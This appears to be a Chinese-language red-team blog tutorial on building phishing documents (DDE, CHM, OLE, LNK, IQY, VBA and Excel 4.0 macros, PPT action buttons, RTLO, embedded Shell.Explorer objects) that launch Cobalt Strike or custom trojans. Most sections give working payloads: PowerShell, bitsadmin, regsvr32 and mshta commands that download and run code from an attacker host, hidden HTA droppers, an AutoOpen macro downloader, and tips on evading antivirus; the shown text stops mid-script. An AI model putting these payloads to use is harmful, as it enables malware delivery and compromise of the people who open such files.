1 2 虽然word,office这些办公软件的漏洞都比较早了,不过由于很多人用的都不是正版的程序,因此很多人电脑的办公软 件依然存在漏洞,所以也是值得去研究和学习的,本文记录了我学习的过程。
学习环境
1 2 office套件2016 windows10 10.0.17763.1282
DDE钓鱼 动态数据交换(DDE)是一种动态数据交换机制,使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。我们可以利用这个属性在office中执行我们的恶意代码。
命令执行 创建一个docx的文档,使用ctrl+f9创建一个文本域,在括号中输入下面的命令后保存
1 DDEAUTO c:\\windows\\system32\\cmd.exe "/k notepad.exe"
保存后再打开我们输入的内容会被隐藏,而且会弹出两个选择框
选择是后则会执行我们的命令
CS上线 既然已经可以通过DDE进行命令执行了,那么上线CS也不是什么难事,生成一个powershell
在docx中插入如下内容
1 DDEAUTO "C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.5.123:80/a'); # " "Microsoft Document Security Add-On"
打开文档,当点击是即可上线。
当然也可以上线exe,这个上线的过程会比powershell加载稍微慢一点。
1 DDEAUTO c:\\windows\\system32\\cmd.exe "/k bitsadmin /transfer cb82 http://192.168.5.123:83/a %APPDATA%\cb82.exe&%APPDATA%\cb82.exe&del %APPDATA%\cb82.exe"
CHM钓鱼 什么是CHM?
CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。
如何制作CHM?
我这里使用的是Easy CHM这个软件,首先我们把要制作的文件放到一个目录下,如下所示:
然后打开Easy CHM选择新建,工作目录选择我们制作文件的目录。
新建后内容如下,选择编译-》生成CHM即可生成CHM文件
命令执行 我们打开之前创建的index.html文件,将文件的内容替换为如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body> command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>
然后我们同样打开easy chm选择“新建”打开创建的内容并且将文件编译为chm文件,最后打开这个chm文件,我们就可以执行命令
CS上线 首先使用CS选择attacks——>web Drive by——>scripted web Delivery,在弹出的对话框选择powershell。
选择lauch后会生成一段代码,我们将代码复制下来,然后将index.html中执行calc.exe的部分进行替换
1 <PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.5.123:82/a'))">
插入这段代码后,我们重新编译chm文件,执行后即可上线,不过使用这种方式有一个缺点,就是会有一个powershell的窗口一闪而过。
如何不弹框?
这里我测试,使用regsvr32加载远程dll是不是弹框的,因为远程加载嘛,稍微会有点卡顿,需要修改的部分如下
1 <PARAM name="Item1" value=",regsvr32,/s /n /u /i:http://192.168.5.123:803/a scrobj.dll">
当然也可以使用CS生成一个hta文件挂载在服务器上,然后加载上线,这种方式也不会有弹框
1 <PARAM name="Item1" value=",mshta,http://192.168.5.123:804/test.hta">
如何上线自定义木马?
有时候我们又有这样的需求,目标环境可能装有各种杀软,所以我们肯定不能直接用CS生成的马,需要自己去做免杀处理再生成马,这样的马一般可能是exe,这个时候我们该如何让目标上线呢?这里首先肯定是不能用bitsadmin进行传输上线的,虽然也可以上线,不过会弹出一个黑窗,而且这个黑窗持续的时间还比较长,太显眼了。这里可以使用迂回的方法,在index.html中,去加载hta,然后再hta中加载我们的exe。
首先准备一个xxx.hta文件,文件内容如下,其中我们只要将请求的地址改一下就可以了,这里http请求的就是我们准备好的免杀的exe,需要提前传到服务器上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <html> <head> <script language="VBScript"> Sub window_onload window.resizeTo 0,0 window.MoveTo -100,-100 const impersonation = 3 Const HIDDEN_WINDOW = 12 Set Locator = CreateObject("WScript.Shell") Locator.Run"powershell.exe ""(New-Object System.Net.WebClient).DownloadFile('http://192.168.5.123:804/download/file.ext','c:\\windows\\temp\\file.exe');(New-Object -com Shell.Application).ShellExecute('c:\\windows\\temp\\file.exe')""",0,FALSE window.close() end sub </script> </head> </html>
然后将这个hta文件也上传到服务器,最后在index.html中将命令执行的部分修改为如下内容,最后进行编译运行后即可上线,并且这个过程也没有弹窗提示。
1 <PARAM name="Item1" value=",mshta,http://192.168.5.123:808/download/file.ext">
使用mstha执行会被360和火绒进行拦截
同样,在调用powershell的情况下也会被360和火绒拦截。
OLE钓鱼 什么是OLE?
OLE是Object Linking and Embedding的缩写,即“对象链接与嵌入”,这是一种把一个文件的一部分嵌入到另一个文件之中的技术,使用这种方式可以不开启宏执行命令。
命令执行 首先我们准备一个test.bat放到服务器上,内容为calcl.exe。
我们创建一个test.docx文件,打开文件后选择 “插入”-》“对象”
在弹出的框中写入bat的地址,显示为图标是需要勾选上的,图标是可以更改的,也可以更改为一个更有迷惑性的图标。
在word中插入了这个文件后,当目标点击了这个图标,会弹出一个框,点击运行后即可执行命令
高版本的windows+office是否可以执行?
我使用高版本的windows+office进行测试,无法执行
CS上线 实现了命令执行的功能,我们再尝试生成exe远程加载看能否直接上线。
首先我们先生成一个exe挂载到web上,然后再使用上面讲的方法将链接插入,当双击以后会让确认是否运行,如果点击确定即可上线。
上面的测试因为我使用的是CS生成的exe,关掉windows自带防护测试的,如果使用的免杀马同时开启了defender的防护是否会被拦截,经过测试defender是不会拦截的,但是一定要确保马是免杀的才行,否则这个test.docx文件会直接被defender删除。
LNK钓鱼 什么是LNK?
LNK是一种指向其他文件的文件,就是我们熟悉的快捷方式。
如何创建LNK?
创建LNK的方式比较简单,只需要对着桌面右键 新建-》快捷方式,即可创建LNK文件。
命令执行 选中LNK文件,选择属性,在弹出的窗口中对“目标”中的内容进行如下更改,即可执行命令
1 %SystemRoot%\system32\cmd.exe cmd /c calc.exe
当点击这个文件即可实现命令执行。
这里当当我们执行cmd时,发现LNK的图标发生了改变,可能看上去不太好看,可以通过如下方式更改图标。
选中更改图标,再选择浏览,搜索shell32.dll,会有很多图标可以选择,选择合适的图标即可。
CS上线 首先使用CS生成一个powershell的payload.
之前我们是手动创建的LNK文件,也可以使用Shortcut_gen自动创建
1 Shortcut_gen.exe payload.txt payload.lnk
当我们双击这个LNK文件,即可上线
这里我踩了一个小坑,因为我是在桌面运行的Shortcut_gen.exe,而且我的桌面下还有cmd.exe,因此生成的文件默认会在桌面上找cmd,但是其他主机桌面不一定有cmd,导致执行报错。
如何上线自定义马?
因为CS直接生成的马不免杀,传上去可能直接就被360,defender等防护软件干掉了,所以我们要生成一个免杀的马加载上线,可以使用powershell远程加载exe的方式实现.
首先生成一个免杀的exe挂载到web服务上,然后将如下代码保存为txt文件
1 powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://xxx.xxx.xxx.xxx:803/test666.exe','c:\\windows\\temp\\test666.exe');(New-Object -com Shell.Application).ShellExecute('c:\\windows\\temp\\test666.exe')
使用Shortcut_gen将txt文件转换成LNK,最后双击这个LNK文件即可上线,值得注意的是,双击后底部会有一个窗口,点开后会是一个黑窗口,这个窗口持续时间的长短取决于下载我们免杀exe需要的时间。
最后因为这个方式是调用了powershell,360是会拦的,当装有360时,无论我们调用cmd或powershell,都会被拦截。
IQY钓鱼 什么是IQY?
IQY可以理解为excel中特殊的web浏览器,可以将web上的列表数据引入到当前的excel中。
命令执行 首先我们在web服务上上传一个文件,文件内容如下:
再创建一个excel文件,选择 “数据”-》“自网站”,将url导入
导入后会有如下两个弹框,点击确定后即可触发payload
当我们把这个excel文件发送给目标,首先目标要点击启用内容,然后才会弹性出远程数据不可访问的框
而且再高版本的windows或者office中,点击启用后还是无法执行的,会弹出DDE被禁用。
CS上线 首先使用CS生成远程加载payload的地址
准备一个test.html,并将这个html挂载到web上
1 =cmd|'/c bitsadmin /transfer 051c http://192.168.5.123:801/test666 %APPDATA%\051c.exe&%APPDATA%\051c.exe&del %APPDATA%\051c.exe '!A0
再创建一个excel,将生成的链接插进去即可上线
如何使用IQY实现自定义马上线?
首先我们需要准备一个hta文件,这个hta的功能就是调用powershell远程下载exe并且执行,再在html中写入通过mshta调用hta的代码。
实现过程
首先生成一个免杀的马并且挂载到web上,编辑如下hta文件,将powershell下载的部分替换为我们的免杀马的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <html> <head> <script language="VBScript"> Sub window_onload window.resizeTo 0,0 window.MoveTo -100,-100 const impersonation = 3 Const HIDDEN_WINDOW = 12 Set Locator = CreateObject("WScript.Shell") Locator.Run"powershell.exe ""(New-Object System.Net.WebClient).DownloadFile('http://192.168.5.123:801/test666.exe','c:\\windows\\temp\\file.exe');(New-Object -com Shell.Application).ShellExecute('c:\\windows\\temp\\file.exe')""",0,FALSE window.close() end sub </script> </head> </html>
将这个hta文件挂载到web上,再编辑test.html,内容如下
1 =cmd|'/c mshta http://192.168.5.123:8045/test.hta '!A0
将这个test.html也挂载到web上,创建excel并且以IQY的方式加载
导入后执行即可加载自定义马上线
office宏钓鱼 什么是office宏?
宏是一个批量处理程序命令,正确地运用它可以提高工作效率。微软的office软件允许用户自己编写,叫VBA的脚本来增加其灵活性,进一步扩充它的能力。
如何使用宏?
首先创建一个word文档,在视图中找到宏
点击创建后即可创建office宏,创建好后即可进入编写界面
在office宏中使用VBA来进行编程,Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。
我们以运行helloworld为例,代码如下
执行后即可弹窗
CS上线 首先在CS上生成宏代码
复制生成的代码,创建一个word文件,编辑宏,将原本的内容进行替换
保存的时候选否,将文件另存为docm文件。
当目标打开文件并且点击启用宏,即可上线
使用office宏在高版本的windows+office中也可以正常上线,使用CS直接生成的代码生成的DOCM文件会被360直接干掉。
如何上线自定义马?
首先将自己生成的免杀的马传到服务器上,再通过编写VBA的脚本远程加载自己生成的马,即可实现自定义马的上线
1 2 3 4 5 6 7 8 9 10 11 12 13 Sub AutoOpen() Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP") Dim bStrm: Set bStrm = CreateObject("Adodb.Stream") xHttp.Open "GET", "http://192.168.3.29/test666.exe", False xHttp.Send With bStrm .Type = 1 '//binary .Open .write xHttp.responseBody .savetofile "c:\windows\temp\test666.exe", 2 '//overwrite End With Shell ("c:\windows\temp\test666.exe") End Sub
将上面的内容保存在宏中即可实现自定义马的上线。
PPT动作按钮 如何使用PPT动作按钮?
首先创建一个ppt文档,选择”插入”->”形状”->”动作按钮”,选择那个空白的
在弹出的框中选择鼠标悬停时运行的程序
生成后这个动作按钮是一个有色的内容,所以我们要对他进行简单的处理。对着这个有色块右键选择“设置形状格式”,将线条和填充都选择为无
最后将这个文件保存,当目标打开这个PPT,选择播放,并且将鼠标移动到指定位置时,会弹出一个框,点击启用后会执行我们插入的程序。
· 经过测试,PPT动作按钮在高版本的windows+office上无法使用。
CS上线 使用CS生成一个HTA文件,挂载到web上
再使用mshta进行加载
1 C:\Windows\System32\mshta.exe http://192.168.5.123:803/test.hta
将上面的内容插入到动作按钮中,当目标鼠标移动到按钮上并且点击了启用,即可上线
如何自定义马上线?
首先生成一个自定义的exe挂载到web上,将下面的代码保存成hta,放在web服务上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <html> <head> <script language="VBScript"> Sub window_onload window.resizeTo 0,0 window.MoveTo -100,-100 const impersonation = 3 Const HIDDEN_WINDOW = 12 Set Locator = CreateObject("WScript.Shell") Locator.Run"powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.5.123:801/test666.exe','c:\\windows\\temp\\test666.exe');start-process 'c:\\windows\\temp\\test666.exe'",0,FALSE window.close() end sub </script> </head> </html>
插入PPT动作按钮,即可当目标使用幻灯片放映ppt,鼠标移动到按钮位置,并且在弹出框中选择启动即可上线。
RTLO钓鱼 什么是RTLO?
RIGHT TO LEVER OVERRIDE 是一种 Unicode,主要用于书写和阅读阿拉伯语或希伯来语文本。Unicode 有一个特殊字符 U + 202e,它告诉计算机以从右到左的顺序显示它后面的文本。此漏洞用于伪装文件名称。
如何使用?
首先准备一个exe文件,我这里是使用calc.exe
对calc.exe进行重命名,命名为calccod.exe并且光标停在两个c中间
右键选择-插入 Unicode 字符—选择 RLO,我这里截图有些问题,因此使用网上的截图。
插入后显示如下
虽然最后显示的doc后缀,但是实际上是一个exe文件
但是使用这样的文件会被defender当作病毒杀掉,而且也会被360查杀
Excel 4.0宏钓鱼 什么是excel 4.0宏?
总结来说excel4.0宏是一个出现比较早的技术,和其他的宏一样可以通过编写宏来实现自动化处理数据的目的,但是由于excel4.0宏被VBA的宏替代,所以excel4.0宏很少被知道。
命令执行 了解了什么是excel 4.0宏,我们看下如何创建excel 4.0宏并且通过宏来执行命令。
新建一个excel文件,在表那右键选择插入
在弹出的框中选择MS Excel 4.0宏表
点击确定后会创建一个新的表格,在表格中输入如下内容
1 2 =EXEC("calc.exe") =HALT()
编辑好后我们先手动运行进行测试,对着这个表格右键选择执行
在弹出的窗口选择执行,即可执行命令
如果我们想要打开这个表时自动运行,可以将这个表格的第一个单元格重命名为”Auto_open“
如果要隐藏宏,右击这个宏表格选择隐藏
当我们保存这个文件时,会弹出一个框问是否保存为未启用宏的文件,我们选择否
将文件另存为xlsm格式
当再打开这个xlsm文件,会有一个宏被禁用的窗口,当点击启用命令会被执行
如果觉得保存为xlsm比较显眼,也可以保存为97-2003工作薄,看上去还是xls格式。
是否会受到windows或者office版本的影响?
经过测试,即使是高版本的windows+office,启用宏后仍然会导致命令执行。但是因为使用了宏会被360查杀
CS上线 首先使用CS生成一个hta文件,并且挂载到web上
创建excel文件,创建Excel 4.0宏输入如下内容
1 2 =EXEC("C:\Windows\System32\mshta.exe http://192.168.5.123:8045/test.hta") =HALT()
再将第一个单元格重命名为”Auto_open“,将宏表设置为隐藏,最后保存文件为xlsm格式,目标打开后并且点击开启即可上线。
office嵌入对象钓鱼 这种方法本质上也是OLE的钓鱼,不过使用这种方式嵌入的内容不同
Shell.Explorer.1 Shell.Explorer.1 OLE对象(CLSID {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B})常用于嵌入式Windows资源管理器或嵌入式Internet Explorer。我们可以将这个OLE对象嵌入Office文档中,并作为持久对象保存在相应的文档中。我们可以使用Shell.Explorer.1嵌入Internet Explorer,通过这种方式执行远程或者本地的文件
我们可以使用如下的powershell脚本来生成恶意的docx文件,我这里执行的是加载本地的计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 # target file path $filename = [Environment]::GetFolderPath('Desktop') + '\WebBrowser.docx' # path to open $path = 'c:\windows\system32\calc.exe' #$path = 'https://securify.nl/blog/SFY20180801/thisisfine.url' # the temp file is used for creating the icon $tmpfile = "$env:TEMP\Totally Safe.txt" # load assemblies for changing the docx (zip) file [void] [Reflection.Assembly]::LoadWithPartialName('System.IO.Compression.FileSystem') [void] [Reflection.Assembly]::LoadWithPartialName('System.IO.Compression') # load PropertyStore (copied from https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Export-LNKPwn.ps1) $EncodedCompressedFile = '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' $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress) $UncompressedFileBytes = New-Object Byte[](13312) $DeflatedStream.Read($UncompressedFileBytes, 0, 13312) | Out-Null [Reflection.Assembly]::Load($UncompressedFileBytes) | Out-Null # load ShellLink (copied from https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Export-LNKPwn.ps1) $EncodedCompressedFile = 